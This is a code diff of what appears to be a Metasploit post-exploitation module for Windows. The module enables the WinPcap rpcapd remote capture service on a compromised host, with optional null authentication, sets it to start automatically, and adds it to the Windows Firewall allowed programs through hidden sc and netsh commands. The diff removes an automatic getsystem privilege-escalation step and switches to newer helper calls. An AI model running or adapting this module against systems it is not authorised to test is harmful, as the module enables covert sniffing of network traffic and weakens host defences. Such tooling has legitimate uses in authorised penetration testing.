@@ -39,15 +39,13 @@ def initialize(info={})
39
39
[
40
40
OptBool . new ( 'NULLAUTH' , [ true , 'Enable Null Authentication.' , true ] ) ,
41
41
OptBool . new ( 'ACTIVE' , [ true , 'Enable rpcapd in active mode (passive by default).' , false ] ) ,
42
- OptBool . new ( 'GETSYSTEM' , [ true , 'Try to get System privilege.' , true ] ) ,
43
42
OptAddress . new ( 'RHOST' , [ false , 'Remote host to connect (set in active mode only).' ] ) ,
44
43
OptInt . new ( 'PORT' , [ true , 'Local/Remote port to capture traffic.' , 2002 ] )
45
44
] , self . class )
46
45
end
47
46
48
47
def run
49
- #Check platform to avoid problems with getsystem (e.g. java/java)
50
- if check_perm and client . platform =~ /win32|win64/i
48
+ if is_admin?
51
49
serv = service_info ( "rpcapd" )
52
50
print_status ( "Checking if machine #{ sysinfo [ 'Computer' ] } has rpcapd service" )
53
51
@@ -56,7 +54,7 @@ def run
56
54
else
57
55
print_status ( "Rpcap service found: #{ serv [ 'Name' ] } " )
58
56
reg = registry_getvaldata ( "HKLM\\ SYSTEM\\ CurrentControlSet\\ Services\\ rpcapd" , "Start" )
59
- prog = client . fs . file . expand_path ( "%ProgramFiles%" ) << "\\ winpcap\\ rpcapd.exe"
57
+ prog = expand_path ( "%ProgramFiles%" ) << "\\ winpcap\\ rpcapd.exe"
60
58
if reg != 2
61
59
print_status ( "Setting rpcapd as 'auto' service" )
62
60
service_change_startup ( "rpcapd" , "auto" )
@@ -76,31 +74,13 @@ def run
76
74
run_rpcapd ( p )
77
75
end
78
76
else
79
- print_error ( "You don't have enough privileges." )
80
- end
81
- end
82
-
83
- def check_perm
84
- if !is_admin? and datastore [ 'GETSYSTEM' ] ==true
85
- print_status ( "Trying to get System privileges..." )
86
- s = session . priv . getsystem
87
- if s [ 0 ]
88
- print_good ( "Got System" )
89
- return true
90
- else
91
- print_error ( "Couldn't get System" )
92
- return false
93
- end
94
- elsif !is_admin? and datastore [ 'GETSYSTEM' ] ==false
95
- return false
96
- else # is_admin? = true
97
- return true
77
+ print_error ( "You don't have enough privileges. Try getsystem." )
98
78
end
99
79
end
100
80
101
81
def run_rpcapd ( p )
102
82
begin
103
- client . sys . process . execute ( "cmd.exe /c sc config rpcapd binpath= \" #{ p } \" ", nil , { 'Hidden' => 'true' , 'Channelized' => true } )
83
+ cmd_exec ( "sc" , " config rpcapd binpath= \" #{ p } \" ", 30 )
104
84
result = service_start ( "rpcapd" )
105
85
case result
106
86
when 0
@@ -121,8 +101,8 @@ def run_rpcapd(p)
121
101
def fw_enable ( prog )
122
102
print_status ( "Enabling rpcapd.exe in Windows Firewall" )
123
103
begin
124
- if ( client . fs . file . exists ?( prog ) )
125
- client . sys . process . execute ( "cmd.exe /c netsh firewall add allowedprogram \" #{ prog } \" \" Windows Service\" ENABLE" , nil , { 'Hidden' => 'true' , 'Channelized' => true } )
104
+ if file_exist ?( prog )
105
+ cmd_exec ( " netsh" , " firewall add allowedprogram \" #{ prog } \" \" Windows Service\" ENABLE " , 30 )
126
106
else
127
107
print_error ( "rpcad.exe doesn't exist in #{ prog } . Check the installation of WinPcap" )
128
108
end
0 commit comments